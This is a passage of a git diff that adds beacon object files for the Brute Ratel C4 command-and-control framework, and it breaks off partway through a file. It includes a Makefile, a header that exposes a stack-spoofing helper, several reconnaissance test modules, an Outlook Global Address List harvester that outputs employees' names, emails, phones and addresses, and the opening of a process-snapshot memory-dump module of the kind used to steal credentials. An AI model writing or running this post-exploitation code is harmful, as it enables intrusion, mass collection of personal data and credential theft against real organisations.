shadowclone.c -c -o obj/shadowclone64.o -m64 + i686-w64-mingw32-gcc shadowclone.c -c -o obj/shadowclone86.o -m32 + +vainject: + x86_64-w64-mingw32-gcc vainject.c -c -o obj/vainject64.o -m64 + i686-w64-mingw32-gcc vainject.c -c -o obj/vainject86.o -m32 + +getpid: + x86_64-w64-mingw32-gcc getpid.c -c -o obj/getpid64.o -m64 + x86_64-w64-mingw32-gcc getpid.c -c -o obj/getpid86.o -m32 diff --git a/BruteRatel-v2.1.2/server_confs/bofs/badger_exports.h b/BruteRatel-v2.1.2/server_confs/bofs/badger_exports.h new file mode 100644 index 0000000..c3b2cb7 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/badger_exports.h @@ -0,0 +1,18 @@ +#include + +void coffee(char** argv, int argc, WCHAR** dispatch); +DECLSPEC_IMPORT int BadgerDispatch(WCHAR** dispatch, const char *__format, ...); +DECLSPEC_IMPORT int BadgerDispatchW(WCHAR** dispatch, const WCHAR*__format, ...); +DECLSPEC_IMPORT size_t BadgerStrlen(CHAR* buf); +DECLSPEC_IMPORT size_t BadgerWcslen(WCHAR* buf); +DECLSPEC_IMPORT void *BadgerMemcpy(void *dest, const void *src, size_t len) ; +DECLSPEC_IMPORT void *BadgerMemset(void *dest, int val, size_t len); +DECLSPEC_IMPORT int BadgerStrcmp(const char *p1, const char *p2); +DECLSPEC_IMPORT int BadgerWcscmp(const wchar_t *s1, const wchar_t *s2); +DECLSPEC_IMPORT int BadgerAtoi(char* string); +DECLSPEC_IMPORT PVOID BadgerAlloc(SIZE_T length); +DECLSPEC_IMPORT VOID BadgerFree(PVOID *memptr); +DECLSPEC_IMPORT BOOL BadgerSetdebug(); +DECLSPEC_IMPORT ULONG BadgerGetBufferSize(PVOID buffer); +DECLSPEC_IMPORT UINT_PTR BadgerSpoofStackFrame(UINT_PTR pWinAPI, int argc, ...); +DECLSPEC_IMPORT VOID BadgerSetHTTPBuffer(PVOID buffer); \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/bofs/boxreflect.c b/BruteRatel-v2.1.2/server_confs/bofs/boxreflect.c new file mode 100644 index 0000000..966de54 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/boxreflect.c @@ -0,0 +1,12 @@ +#include +#include +#include +#include "badger_exports.h" + +DECLSPEC_IMPORT DWORD WINAPI User32$MessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + BadgerDispatch(dispatch, "%s\n", "Executing MessageBox"); + User32$MessageBoxA(NULL, "MsgBox Reflected", "Test", MB_OK); + BadgerDispatch(dispatch, "%s\n", "MessageBox Executed"); +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/bofs/decltest.c b/BruteRatel-v2.1.2/server_confs/bofs/decltest.c new file mode 100644 index 0000000..19a1214 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/decltest.c @@ -0,0 +1,72 @@ +#include +#include +#include "badger_exports.h" + +WINADVAPI WINBOOL WINAPI Advapi32$GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer); +WINADVAPI WINBOOL WINAPI Advapi32$GetUserNameW(LPWSTR lpBuffer, LPDWORD pcbBuffer); +WINBASEAPI int Msvcrt$printf(const char *__format, ...); +WINBASEAPI int Msvcrt$wprintf(const WCHAR *__format, ...); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + CHAR username[MAX_PATH] = { 0 }; + DWORD usernameLength = MAX_PATH; + Advapi32$GetUserNameA(username, &usernameLength); + BadgerDispatch(dispatch, "[+] Char Username: %s\n", username); + + int usernamelen = BadgerStrlen(username); + BadgerDispatch(dispatch, "[+] Username length: %d\n", usernamelen); + + if (argc > 0) { + int retval = BadgerStrcmp(argv[0], username); + if (retval) { + BadgerDispatch(dispatch, "[+] Unequal values: %s\n", argv[0]); + } else { + BadgerDispatch(dispatch, "[+] Equal values: %s\n", argv[0]); + } + } else { + BadgerDispatch(dispatch, "[+] No Args provided\n"); + } + + + WCHAR usernameW[MAX_PATH] = { 0 }; + usernameLength = MAX_PATH; + Advapi32$GetUserNameW(usernameW, &usernameLength); + BadgerDispatchW(dispatch, L"[+] Wchar Username: %ls\n", usernameW); + + int usernamelenW = BadgerWcslen(usernameW); + BadgerDispatchW(dispatch, L"[+] UsernameW length: %d\n", usernamelenW); + + WCHAR testW[] = L"somevalue\0"; + + int retval = BadgerWcscmp(testW, usernameW); + if (retval) { + BadgerDispatchW(dispatch, L"[+] Unequal widechar strings\n"); + } else { + BadgerDispatchW(dispatch, L"[+] Equal widechar strings\n"); + } + + char *intstr = "10"; + int converted = BadgerAtoi(intstr); + BadgerDispatch(dispatch, "[+] Atoi: %d\n", converted); + + BadgerMemset(testW, 0, sizeof(testW)); + if (BadgerWcslen(testW) == 0) { + BadgerDispatch(dispatch, "[+] Memset complete\n"); + } + + BadgerDispatch(dispatch, "[+] All Arguments:\n"); + for (int i = 0; i < argc; i++) { + BadgerDispatch(dispatch, " - arg[%d]: %s\n", i, argv[i]); + } + + char* someBuffer = BadgerAlloc(20); + if (someBuffer) { + BadgerMemcpy(someBuffer, "[+] working\n", 12); + BadgerDispatch(dispatch, "%s", someBuffer); + } + BadgerFree((PVOID*)&someBuffer); + + if (BadgerSetdebug()) { + BadgerDispatch(dispatch, "[+] SeDebug Set:\n"); + } +} diff --git a/BruteRatel-v2.1.2/server_confs/bofs/getdc.c b/BruteRatel-v2.1.2/server_confs/bofs/getdc.c new file mode 100644 index 0000000..2183e7a --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/getdc.c @@ -0,0 +1,19 @@ +#include +#include +#include +#include "badger_exports.h" + +DECLSPEC_IMPORT DWORD WINAPI NETAPI32$DsGetDcNameA(LPVOID, LPVOID, LPVOID, LPVOID, ULONG, LPVOID); +DECLSPEC_IMPORT DWORD WINAPI NETAPI32$NetApiBufferFree(LPVOID); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + DWORD dwRet; + PDOMAIN_CONTROLLER_INFO pdcInfo; + + dwRet = NETAPI32$DsGetDcNameA(NULL, NULL, NULL, NULL, 0, &pdcInfo); + if (ERROR_SUCCESS == dwRet) { + BadgerDispatch(dispatch, "%s\n", pdcInfo->DomainName); + } + + NETAPI32$NetApiBufferFree(pdcInfo); +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/bofs/getpid.c b/BruteRatel-v2.1.2/server_confs/bofs/getpid.c new file mode 100644 index 0000000..c22cd25 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/getpid.c @@ -0,0 +1,10 @@ +#include +#include +#include "badger_exports.h" + +WINADVAPI DWORD WINAPI Kernel32$GetCurrentProcessId(); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + DWORD bgr_pid = Kernel32$GetCurrentProcessId(); + BadgerDispatch(dispatch, "[+] Process PID: %lu\n", bgr_pid); +} diff --git a/BruteRatel-v2.1.2/server_confs/bofs/harvester.c b/BruteRatel-v2.1.2/server_confs/bofs/harvester.c new file mode 100644 index 0000000..2ceb2fa --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/harvester.c @@ -0,0 +1,284 @@ +#include "badger_exports.h" + +typedef struct _OutlookContactRecord { + BSTR Name; + BSTR PrimarySmtpAddress; + BSTR JobTitle; + BSTR Department; + BSTR OfficeLocation; + BSTR City; + BSTR MobileTelephoneNumber; + BSTR StreetAddress; + BSTR PostalCode; + BSTR StateOrProvince; +} OutlookContactRecord, *POutlookContactRecord; + +typedef enum _OlAddressEntryUserType { + olExchangeUserAddressEntry = 0, + olExchangeDistributionListAddressEntry = 1, + olExchangePublicFolderAddressEntry = 2, + olExchangeAgentAddressEntry = 3, + olExchangeOrganizationAddressEntry = 4, + olExchangeRemoteUserAddressEntry = 5, + olOutlookContactAddressEntry = 10, + olOutlookDistributionListAddressEntry = 11, + olLdapAddressEntry = 20, + olSmtpAddressEntry = 30, + olOtherAddressEntry = 40 +} OlAddressEntryUserType; + +WINADVAPI WINAPI HRESULT Ole32$CoInitializeEx(LPVOID, DWORD); +WINADVAPI WINAPI VOID Ole32$CoUninitialize(); +WINADVAPI WINAPI HRESULT Ole32$CLSIDFromProgID(LPCOLESTR, LPCLSID); +WINADVAPI WINAPI HRESULT Ole32$CoCreateInstance(REFCLSID, LPUNKNOWN ,DWORD ,REFIID, LPVOID*); +WINADVAPI WINAPI BSTR Oleaut32$SysAllocString(const OLECHAR *psz); +WINADVAPI WINAPI VOID* Msvcrt$calloc(size_t _NumOfElements, size_t _SizeOfElements); +WINADVAPI WINAPI VOID Msvcrt$free(void *_Memory); +WINADVAPI WINAPI size_t Msvcrt$wcslen(WCHAR*); + +HRESULT STDMETHODCALLTYPE GetApplicationDispatchInterface(_Out_ IDispatch**); +HRESULT STDMETHODCALLTYPE GetDispatchInterface(_In_ IDispatch*, _In_ LPOLESTR, _In_opt_ VARIANT*, _In_ DWORD, _Out_ IDispatch**, _Inout_opt_ DISPID*); +HRESULT STDMETHODCALLTYPE GetDispatchInterfaceProperty(_In_ IDispatch*, _In_ LPOLESTR, _In_ DWORD, _Inout_opt_ DISPID*, _Out_ VARIANT*); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + HRESULT hresult = Ole32$CoInitializeEx(NULL, COINIT_MULTITHREADED); + if (hresult) { + goto cleanUp; + } + + OutlookContactRecord* ppContactRecords = NULL; + + IDispatch* pIApplication = NULL; + hresult = GetApplicationDispatchInterface(&pIApplication); + if (hresult) { + goto cleanUp; + } + + IDispatch* pINamespace = NULL; + VARIANT Namespace = { 0 }; + Namespace.vt = VT_BSTR; + Namespace.bstrVal = Oleaut32$SysAllocString(L"MAPI"); + hresult = GetDispatchInterface(pIApplication, L"GetNamespace", &Namespace, 0x01, &pINamespace, (DISPID*)NULL); + if (hresult) { + goto cleanUp; + } + + IDispatch* pIAddressList = NULL; + hresult = GetDispatchInterface(pINamespace, L"GetGlobalAddressList", (VARIANT*)NULL, 0, &pIAddressList, (DISPID*)NULL); + if (hresult) { + goto cleanUp; + } + + IDispatch* pIAddressEntries = NULL; + hresult = GetDispatchInterface(pIAddressList, L"AddressEntries", (VARIANT*)NULL, 0, &pIAddressEntries, (DISPID*)NULL); + if (hresult) { + goto cleanUp; + } + + VARIANT vRecords = { 0 }; + hresult = GetDispatchInterfaceProperty(pIAddressEntries, L"Count", VT_I4, NULL, &vRecords); + if (hresult) { + goto cleanUp; + } + + ppContactRecords = Msvcrt$calloc(vRecords.llVal, sizeof(OutlookContactRecord)); + DISPID ItemId = 0; + DISPID AddressEntryUserTypeId = 0; + DISPID GetExchangeUserId = 0; + OutlookContactRecord* lpRecord = ppContactRecords; + VARIANT ItemIndex = { 0 }; + ItemIndex.vt = VT_I4; + LONG cx = 0; + + BadgerDispatchW(dispatch, L"[*] Harvesting [%d] Contacts\n==================================================|\n", vRecords.llVal); + + for (; cx < vRecords.llVal; cx++) { + IDispatch* pAddressEntry = NULL; + ItemIndex.llVal = cx + 1; + + hresult = GetDispatchInterface(pIAddressEntries, L"Item", &ItemIndex, 0x01, &pAddressEntry, &ItemId); + if (hresult) { + goto cleanUp; + } + + VARIANT EntryType = { 0 }; + hresult = GetDispatchInterfaceProperty(pAddressEntry, L"AddressEntryUserType", VT_I4, &AddressEntryUserTypeId, &EntryType); + if (hresult) { + goto cleanUp; + } + + if ((OlAddressEntryUserType)EntryType.llVal != olExchangeUserAddressEntry) { + continue; + } + + IDispatch* pExchangeUser = NULL; + hresult = GetDispatchInterface(pAddressEntry, L"GetExchangeUser", NULL, 0, &pExchangeUser, &GetExchangeUserId); + if (hresult) { + goto cleanUp; + } + + + VARIANT Data = { 0 }; + GetDispatchInterfaceProperty(pExchangeUser, L"Name", VT_BSTR, NULL, &Data); + lpRecord->Name = Oleaut32$SysAllocString(Data.bstrVal); + if (lpRecord->Name != NULL && Msvcrt$wcslen(lpRecord->Name) > 0) { + BadgerDispatchW(dispatch, L"[+] %-16s: %s\n", L"name", lpRecord->Name); + } + + GetDispatchInterfaceProperty(pExchangeUser, L"PrimarySmtpAddress", VT_BSTR, NULL, &Data); + lpRecord->PrimarySmtpAddress = Oleaut32$SysAllocString(Data.bstrVal); + if (lpRecord->PrimarySmtpAddress != NULL && Msvcrt$wcslen(lpRecord->PrimarySmtpAddress) > 0) { + BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"email", lpRecord->PrimarySmtpAddress); + } + + GetDispatchInterfaceProperty(pExchangeUser, L"JobTitle", VT_BSTR, NULL, &Data); + lpRecord->JobTitle = Oleaut32$SysAllocString(Data.bstrVal); + if (lpRecord->JobTitle != NULL && Msvcrt$wcslen(lpRecord->JobTitle) > 0) { + BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"jobTitle", lpRecord->JobTitle); + } + + GetDispatchInterfaceProperty(pExchangeUser, L"Department", VT_BSTR, NULL, &Data); + lpRecord->Department = Oleaut32$SysAllocString(Data.bstrVal); + if (lpRecord->Department != NULL && Msvcrt$wcslen(lpRecord->Department) > 0) { + BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"department", lpRecord->Department); + } + + GetDispatchInterfaceProperty(pExchangeUser, L"OfficeLocation", VT_BSTR, NULL, &Data); + lpRecord->OfficeLocation = Oleaut32$SysAllocString(Data.bstrVal); + if (lpRecord->OfficeLocation != NULL && Msvcrt$wcslen(lpRecord->OfficeLocation) > 0) { + BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"officeLocation", lpRecord->OfficeLocation); + } + + GetDispatchInterfaceProperty(pExchangeUser, L"MobileTelephoneNumber", VT_BSTR, NULL, &Data); + lpRecord->MobileTelephoneNumber = Oleaut32$SysAllocString(Data.bstrVal); + if (lpRecord->MobileTelephoneNumber != NULL && Msvcrt$wcslen(lpRecord->MobileTelephoneNumber) > 0) { + BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"mobile", lpRecord->MobileTelephoneNumber); + } + + GetDispatchInterfaceProperty(pExchangeUser, L"City", VT_BSTR, NULL, &Data); + lpRecord->City = Oleaut32$SysAllocString(Data.bstrVal); + + GetDispatchInterfaceProperty(pExchangeUser, L"StreetAddress", VT_BSTR, NULL, &Data); + lpRecord->StreetAddress = Oleaut32$SysAllocString(Data.bstrVal); + + GetDispatchInterfaceProperty(pExchangeUser, L"StateOrProvince", VT_BSTR, NULL, &Data); + lpRecord->StateOrProvince = Oleaut32$SysAllocString(Data.bstrVal); + + GetDispatchInterfaceProperty(pExchangeUser, L"PostalCode", VT_BSTR, NULL, &Data); + lpRecord->PostalCode = Oleaut32$SysAllocString(Data.bstrVal); + if (lpRecord->City != NULL && Msvcrt$wcslen(lpRecord->City) > 0) { + BadgerDispatchW(dispatch, L" - %-16s: %s\n", L"city", lpRecord->City); + } + if (lpRecord->StreetAddress != NULL && Msvcrt$wcslen(lpRecord->StreetAddress) > 0) { + BadgerDispatchW(dispatch, L" - %-16s: %s %s %s\n", L"address", lpRecord->StreetAddress, lpRecord->StateOrProvince, lpRecord->PostalCode); + } + + BadgerDispatchW(dispatch, L"\n"); + lpRecord++; + } + + Msvcrt$free(ppContactRecords); + +cleanUp: + if (hresult) { + BadgerDispatchW(dispatch, L"E: %lx\n", hresult); + } + + Ole32$CoUninitialize(); +} + +HRESULT STDMETHODCALLTYPE GetApplicationDispatchInterface(_Out_ IDispatch** ppIDispatch) { + GUID myIID_IDispatch = { 0x00020400, 0x0000, 0x0000, {0xc0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x46} }; + if (ppIDispatch == NULL) { + return E_INVALIDARG; + } + + CLSID CLSIDOutlookApplication = { 0 }; + if (FAILED(Ole32$CLSIDFromProgID(L"Outlook.Application", &CLSIDOutlookApplication))) { + return E_FAIL; + } + + if(FAILED(Ole32$CoCreateInstance(&CLSIDOutlookApplication, NULL, CLSCTX_LOCAL_SERVER, &myIID_IDispatch, (LPVOID*)ppIDispatch))) { + return E_FAIL; + } + + if (*ppIDispatch == NULL) { + return E_FAIL; + } + return S_OK; +} + +HRESULT STDMETHODCALLTYPE GetDispatchInterface(_In_ IDispatch* pInterface, _In_ LPOLESTR szMethodName, _In_opt_ VARIANT* pVariables, _In_ DWORD dwVaraibles, _Out_ IDispatch** ppIDispatch, _Inout_opt_ DISPID* pDispatchId) { + GUID myGUID_NULL = { 0x00000000, 0x0000, 0x0000, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} }; + if (pInterface == NULL || szMethodName == NULL || ppIDispatch == NULL) { + return E_INVALIDARG; + } + + DISPID DispatchId = 0; + if (pDispatchId != NULL && *pDispatchId != 0) { + DispatchId = *pDispatchId; + } + else { + if(FAILED(pInterface->lpVtbl->GetIDsOfNames(pInterface, &myGUID_NULL, &szMethodName, 0x01, LOCALE_SYSTEM_DEFAULT, &DispatchId))) { + return E_FAIL; + } + if (pDispatchId != NULL) { + *pDispatchId = DispatchId; + } + } + + EXCEPINFO Exception = { 0 }; + VARIANT Result = { 0 }; + DISPPARAMS Parameters = { 0 }; + + if (dwVaraibles != 0) { + Parameters.cArgs = dwVaraibles; + Parameters.rgvarg = pVariables; + } + + if(FAILED(pInterface->lpVtbl->Invoke(pInterface, DispatchId, &myGUID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_METHOD, &Parameters, &Result, &Exception, NULL))) { + return E_FAIL; + } + + if (Result.vt != VT_DISPATCH) { + return E_FAIL; + } + *ppIDispatch = Result.pdispVal; + + return S_OK; +} + +HRESULT STDMETHODCALLTYPE GetDispatchInterfaceProperty(_In_ IDispatch* pInterface, _In_ LPOLESTR szProperty, _In_ DWORD dwPropertyType, _Inout_opt_ DISPID* pDispatchId, _Out_ VARIANT* pProperty) { + GUID myGUID_NULL = { 0x00000000, 0x0000, 0x0000, {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00} }; + if (pInterface == NULL || szProperty == NULL || pProperty == NULL) { + return E_INVALIDARG; + } + + DISPID DispatchId = 0; + if (pDispatchId != NULL && *pDispatchId != 0) { + DispatchId = *pDispatchId; + } else { + if(FAILED(pInterface->lpVtbl->GetIDsOfNames(pInterface, &myGUID_NULL, &szProperty, 0x01, LOCALE_SYSTEM_DEFAULT, &DispatchId))) { + return E_FAIL; + } + if (pDispatchId != NULL) { + *pDispatchId = DispatchId; + } + } + + EXCEPINFO Exception = { 0 }; + VARIANT Result = { 0 }; + DISPPARAMS Parameters = { 0 }; + Parameters.cArgs = 0; + + if(FAILED(pInterface->lpVtbl->Invoke(pInterface, DispatchId, &myGUID_NULL, LOCALE_SYSTEM_DEFAULT, DISPATCH_PROPERTYGET, &Parameters, &Result, &Exception, NULL))) { + return E_FAIL; + } + + if (Result.vt != dwPropertyType) { + return E_FAIL; + } + *pProperty = Result; + + return S_OK; +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/bofs/raise_error.c b/BruteRatel-v2.1.2/server_confs/bofs/raise_error.c new file mode 100644 index 0000000..16db4cb --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/raise_error.c @@ -0,0 +1,15 @@ +#include +#include +#include "badger_exports.h" + +// WINADVAPI WINBOOL WINAPI Advapi32$GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer); +// below definition should start with 'Advapi32$'. This is a bug. Ideally this should crash the badger +// since 2.1 release, invalid functions which cannot be found in the BOF will be printed to screen +WINADVAPI WINBOOL WINAPI GetUserNameA(LPSTR lpBuffer, LPDWORD pcbBuffer); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + CHAR username[MAX_PATH] = { 0 }; + DWORD usernameLength = MAX_PATH; + GetUserNameA(username, &usernameLength); + BadgerDispatch(dispatch, "[+] Char Username: %s\n", username); +} diff --git a/BruteRatel-v2.1.2/server_confs/bofs/read_mem.c b/BruteRatel-v2.1.2/server_confs/bofs/read_mem.c new file mode 100644 index 0000000..98dc045 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/read_mem.c @@ -0,0 +1,26 @@ +#include +#include +#include "badger_exports.h" + +WINADVAPI FARPROC WINAPI Kernel32$GetProcAddress(HMODULE hModule, LPCSTR lpProcName); +WINADVAPI HMODULE WINAPI Kernel32$GetModuleHandleA(LPCSTR lpModuleName); + +void coffee(char** argv, int argc, WCHAR** dispatch) { + if (argc > 1) { + BadgerDispatch(dispatch, "[*] Loading library '%s'\n", argv[0]); + HANDLE hModule = Kernel32$GetModuleHandleA(argv[0]); + BadgerDispatch(dispatch, "[*] Library loaded at '%p'\n", hModule); + for (int i = 1; i < argc; i++) { + unsigned char buf[11] = { 0 }; + PVOID myProc = (PVOID) Kernel32$GetProcAddress(hModule, argv[i]); + BadgerDispatch(dispatch, "[+] Reading first 10 bytes from '%s (%p)'\n - Bytes: { ", argv[i], myProc); + BadgerMemcpy(buf, (PVOID) myProc, 10); + for (int j = 0; j < 10; j++) { + BadgerDispatch(dispatch, "0x%02X ", buf[j]); + } + BadgerDispatch(dispatch, "}\n"); + } + return; + } + BadgerDispatch(dispatch, "[!] No arguments provided. Usage: 'read_mem.o ...'\n"); +} \ No newline at end of file diff --git a/BruteRatel-v2.1.2/server_confs/bofs/shadowclone.c b/BruteRatel-v2.1.2/server_confs/bofs/shadowclone.c new file mode 100644 index 0000000..5ac06c8 --- /dev/null +++ b/BruteRatel-v2.1.2/server_confs/bofs/shadowclone.c @@ -0,0 +1,290 @@ +#include "badger_exports.h" +#pragma pack(push,4) +#ifndef HPSS +#define HPSS HANDLE +#endif +#define MiniDumpWithFullMemory 0x00000002 + +typedef struct _MINIDUMP_MEMORY_INFO { + ULONG64 BaseAddress; + ULONG64 AllocationBase; + ULONG32 AllocationProtect; + ULONG32 __alignment1; + ULONG64 RegionSize; + ULONG32 State; + ULONG32 Protect; + ULONG32 Type; + ULONG32 __alignment2; +} MINIDUMP_MEMORY_INFO, *PMINIDUMP_MEMORY_INFO; + +typedef struct _MINIDUMP_THREAD_CALLBACK { + ULONG ThreadId; + HANDLE ThreadHandle; + CONTEXT Context; + ULONG SizeOfContext; + ULONG64 StackBase; + ULONG64 StackEnd; +} MINIDUMP_THREAD_CALLBACK, *PMINIDUMP_THREAD_CALLBACK; + +typedef struct _MINIDUMP_THREAD_EX_CALLBACK { + ULONG ThreadId; + HANDLE ThreadHandle; + CONTEXT Context; + ULONG SizeOfContext; + ULONG64 StackBase; + ULONG64 StackEnd; + ULONG64 BackingStoreBase; + ULONG64 BackingStoreEnd; +} MINIDUMP_THREAD_EX_CALLBACK, *PMINIDUMP_THREAD_EX_CALLBACK; + +typedef struct _MINIDUMP_INCLUDE_THREAD_CALLBACK { + ULONG ThreadId; +} MINIDUMP_INCLUDE_THREAD_CALLBACK, *PMINIDUMP_INCLUDE_THREAD_CALLBACK; + +typedef struct _MINIDUMP_MODULE_CALLBACK { + PWCHAR FullPath; + ULONG64 BaseOfImage; + ULONG SizeOfImage; + ULONG CheckSum; + ULONG TimeDateStamp; + VS_FIXEDFILEINFO VersionInfo; + PVOID CvRecord; + ULONG SizeOfCvRecord; + PVOID MiscRecord; + ULONG SizeOfMiscRecord; +} MINIDUMP_MODULE_CALLBACK, *PMINIDUMP_MODULE_CALLBACK; + +typedef struct _MINIDUMP_INCLUDE_MODULE_CALLBACK { + ULONG64 BaseOfImage; +} MINIDUMP_INCLUDE_MODULE_CALLBACK, *PMINIDUMP_INCLUDE_MODULE_CALLBACK; + +typedef struct _MINIDUMP_IO_CALLBACK { + HANDLE Handle; + ULONG64 Offset; + PVOID Buffer; + ULONG BufferBytes; +} MINIDUMP_IO_CALLBACK, *PMINIDUMP_IO_CALLBACK; + +typedef struct _MINIDUMP_READ_MEMORY_FAILURE_CALLBACK { + ULONG64 Offset; + ULONG Bytes; + HRESULT FailureStatus; +} MINIDUMP_READ_MEMORY_FAILURE_CALLBACK, *PMINIDUMP_READ_MEMORY_FAILURE_CALLBACK; + +typedef struct _MINIDUMP_VM_QUERY_CALLBACK { + ULONG64 Offset; +} MINIDUMP_VM_QUERY_CALLBACK, *PMINIDUMP_VM_QUERY_CALLBACK; + +typedef struct _MINIDUMP_VM_PRE_READ_CALLBACK { + ULONG64 Offset; + PVOID Buffer; + ULONG Size; +} MINIDUMP_VM_PRE_READ_CALLBACK, *PMINIDUMP_VM_PRE_READ_CALLBACK; + +typedef struct _MINIDUMP_VM_POST_READ_CALLBACK { + ULONG64 Offset; + PVOID Buffer; + ULONG Size; + ULONG Completed; + HRESULT Status; +} MINIDUMP_VM_POST_READ_CALLBACK, *PMINIDUMP_VM_POST_READ_CALLBACK; + +typedef struct _MINIDUMP_CALLBACK_INPUT { + ULONG ProcessId; + HANDLE ProcessHandle; + ULONG CallbackType; + union { + HRESULT Status; + MINIDUMP_THREAD_CALLBACK Thread; + MINIDUMP_THREAD_EX_CALLBACK ThreadEx; + MINIDUMP_MODULE_CALLBACK Module; + MINIDUMP_INCLUDE_THREAD_CALLBACK IncludeThread; + MINIDUMP_INCLUDE_MODULE_CALLBACK IncludeModule; + MINIDUMP_IO_CALLBACK Io; + MINIDUMP_READ_MEMORY_FAILURE_CALLBACK ReadMemoryFailure; + ULONG SecondaryFlags; + MINIDUMP_VM_QUERY_CALLBACK VmQuery; + MINIDUMP_VM_PRE_READ_CALLBACK VmPreRead; + MINIDUMP_VM_POST_READ_CALLBACK VmPostRead; + }; +} MINIDUMP_CALLBACK_INPUT, *PMINIDUMP_CALLBACK_INPUT; + +typedef struct _MINIDUMP_CALLBACK_OUTPUT { + union { + ULONG ModuleWriteFlags; + ULONG ThreadWriteFlags; + ULONG SecondaryFlags; + struct { + ULONG64 MemoryBase; + ULONG MemorySize; + }; + struct { + BOOL CheckCancel; + BOOL Cancel; + }; + HANDLE Handle; + struct { + MINIDUMP_MEMORY_INFO VmRegion; + BOOL Continue; + }; + struct { + HRESULT VmQueryStatus; + MINIDUMP_MEMORY_INFO VmQueryResult; + }; + struct { + HRESULT VmReadStatus; + ULONG VmReadBytesCompleted; + }; + HRESULT Status; + }; +} MINIDUMP_CALLBACK_OUTPUT, *PMINIDUMP_CALLBACK_OUTPUT; + +typedef BOOL (WINAPI * MINIDUMP_CALLBACK_ROUTINE) ( + _Inout_ PVOID CallbackParam, + _In_ PMINIDUMP_CALLBACK_INPUT CallbackInput, + _Inout_ PMINIDUMP_CALLBACK_OUTPUT CallbackOutput + ); + +typedef struct _MINIDUMP_CALLBACK_INFORMATION { + MINIDUMP_CALLBACK_ROUTINE CallbackRoutine; + PVOID CallbackParam; +} MINIDUMP_CALLBACK_INFORMATION, *PMINIDUMP_CALLBACK_INFORMATION; + +typedef enum { + PSS_CAPTURE_NONE = 0x00000000, + PSS_CAPTURE_VA_CLONE = 0x00000001, + PSS_CAPTURE_RESERVED_00000002 = 0x00000002, + PSS_CAPTURE_HANDLES = 0x00000004, + PSS_CAPTURE_HANDLE_NAME_INFORMATION = 0x00000008, + PSS_CAPTURE_HANDLE_BASIC_INFORMATION = 0x00000010, + PSS_CAPTURE_HANDLE_TYPE_SPECIFIC_INFORMATION = 0x00000020, + PSS_CAPTURE_HANDLE_TRACE = 0x00000040, + PSS_CAPTURE_THREADS = 0x00000080, + PSS_CAPTURE_THREAD_CONTEXT = 0x00000100, + PSS_CAPTURE_THREAD_CONTEXT_EXTENDED = 0x00000200, + PSS_CAPTURE_RESERVED_00000400 = 0x00000400, + PSS_CAPTURE_VA_SPACE = 0x00000800, + PSS_CAPTURE_VA_SPACE_SECTION_INFORMATION = 0x00001000, + PSS_CAPTURE_IPT_TRACE = 0x00002000, + PSS_CREATE_BREAKAWAY_OPTIONAL = 0x04000000, + PSS_CREATE_BREAKAWAY = 0x08000000, + PSS_CREATE_FORCE_BREAKAWAY = 0x10000000, + PSS_CREATE_USE_VM_ALLOCATIONS = 0x20000000, + PSS_CREATE_MEASURE_PERFORMANCE = 0x40000000, + PSS_CREATE_RELEASE_SECTION = 0x80000000 +} PSS_CAPTURE_FLAGS; + +WINADVAPI WINAPI NTSTATUS Ntdll$NtGetNextProcess(_In_ HANDLE, _In_ ACCESS_MASK, _In_ ULONG, _In_ ULONG, _Out_ PHANDLE); +WINADVAPI WINAPI BOOL Advapi32$OpenProcessToken(HANDLE, DWORD, PHANDLE); +WINADVAPI WINAPI BOOL Advapi32$AdjustTokenPrivileges(HANDLE, BOOL, PTOKEN_PRIVILEGES, DWORD, PTOKEN_PRIVILEGES, PDWORD); +WINADVAPI WINAPI BOOL Advapi32$LookupPrivilegeValueA(LPCSTR, LPCSTR, PLUID); +WINADVAPI WINAPI BOOL Kernel32$CloseHandle(HANDLE); +WINADVAPI WINAPI DWORD Psapi$GetModuleFileNameExA(HANDLE, HMODULE, LPSTR, DWORD); +WINADVAPI WINAPI DWORD Kernel32$GetProcessId(HANDLE); +WINADVAPI WINAPI DWORD Kernel32$GetLastError(); +WINADVAPI WINAPI DWORD Kernel32$PssCaptureSnapshot(HANDLE ProcessHandle, PSS_CAPTURE_FLAGS CaptureFlags, DWORD ThreadContextFlags, HPSS* SnapshotHandle); +WINADVAPI WINAPI HANDLE Kernel32$CreateFileW(LPCWSTR, DWORD, DWORD, LPSECURITY_ATTRIBUTES, DWORD, DWORD, HANDLE); +WINADVAPI WINAPI DWORD Kernel32$PssFreeSnapshot(HANDLE ProcessHandle, HPSS SnapshotHandle); +WINADVAPI WINAPI char *Msvcrt$strstr(const char *s1, const char *s2); +WINADVAPI WINAPI BOOL Dbghelp$MiniDumpWriteDump(HANDLE hProcess, DWORD ProcessId, HANDLE hFile, ULONG_PTR, PVOID ExceptionParam, PVOID UserStreamParam, PMINIDUMP_CALLBACK_INFORMATION CallbackParam); + +BOOL CALLBACK 